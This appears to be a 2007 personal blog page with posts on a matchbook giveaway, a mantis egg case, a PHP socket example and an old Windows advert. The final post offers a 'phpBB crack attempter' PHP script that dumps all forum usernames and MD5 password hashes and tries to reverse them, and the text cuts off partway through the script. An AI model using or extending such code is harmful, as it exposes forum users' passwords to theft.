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Free Matchbook!
Posted on February 27th, 2007 at 11:49 pm by Andrew

Fancy a free www.ThirdNipple.co.uk matchbook? Simply fill in the contact form below with your name, address, email and if ye like website (for my personal interest :P):

I’ll post off your free matchbook ASAP completely free! More info in a couple of blogs time ;). I’ve 1,000 of these to give away so by all means, if you require more, just mention it in the message box!

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Size doesn’t matter.. apparently.
Posted on February 22nd, 2007 at 11:13 pm by Andrew

It measures 1″x3mmx3mm, it contains the potential for about 1m and it came from a praying mantis’s arse.

This tiny little ootherca cost me £25 and I’m not even certain it’s fertile yet..

Let’s hope so.

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Alternatives to Curl_lib
Posted on February 19th, 2007 at 9:41 pm by Andrew

Many of my scripts recetly have used curl() in them but it appears a lot of people don't actually have Curl_lib enabled/installed on their PHP. Sadly, I really don't have time to provide an alternative for each script and help people install this code on their site but here's a good alternative (in no way better but it's there at least), Sockets. As I say, I can't be doing it for the new folk, with any luck though, this will benefit more experienced folk (taken directly from PHP.net):

PLAIN TEXT

PHP:

<?php
$fp = fsockopen("www.mylbfh.co.uk", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.mylbfh.co.uk\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

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OK T-bone, time for some serious crunching.
Posted on February 18th, 2007 at 1:10 am by Andrew

Ahh, I've been meaning to post this for a while:

Scary isn't it? Just about 10 years ago that was a serious promotion for Wow-wow-windows 386..

Wah Wah Windows Wah Wah Windows Windows 386
Will pull these parts together and do it mighty quick
I'll cut and paste cut and paste until it's in pagemaker

Found those lyrics for it "that's where it gets fluffy" what? Seriously, someone needs shooting.. Fast.

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phpBB hacks/password thing..
Posted on February 13th, 2007 at 11:51 pm by Andrew

Heh, naughty me..

PLAIN TEXT

PHP:

<?
//////////////////////
// goglgourd@gmail.com msn or email
// www.thirdnipple.co.uk
// Source best viewed with Crimson Editor: www.crimsoneditor.com
// ThirdNipple.co.uk's phpBB crack attempter
//////////////////////
// Instructions:
// 1) Fill in the mySQL details (you may need to do your host too).
// 2) Run the script, fingers crossed it will work!
// Once again, I've done my best to annotate this and keep it neat
// And once again coded in a rush; it's untidy and confusing, even for me.
// Let's begin:
$dbuser="Your user"; // Your database username
$dbpass="Your password"; // Your database password
$dbname="Your database name"; // Your database name
$dbh=mysql_connect ("localhost", $dbuser, $dbpass) or die ('I cannot connect to the database because: ' . mysql_error());
mysql_select_db ($dbname); // connect
$result=mysql_query("SELECT `username` , `user_password`
FROM `phpbb_users` "); // select all usernames + passwords
?>
<table>
<tr><td><b>Name</b></td><td><b>MD5</b></td><td>Results</td></tr>
<?
while($row = mysql_fetch_array($result)) {
// Print out the contents of each row into a table
echo "<tr><td>";
echo $row['username'];
echo "</td><td>";
echo $row['user_password'];
echo "</td><td>";
echo md5_dec($row['user_password']);
echo "</td>";
}
echo "</table>";
function md5_dec($md5) {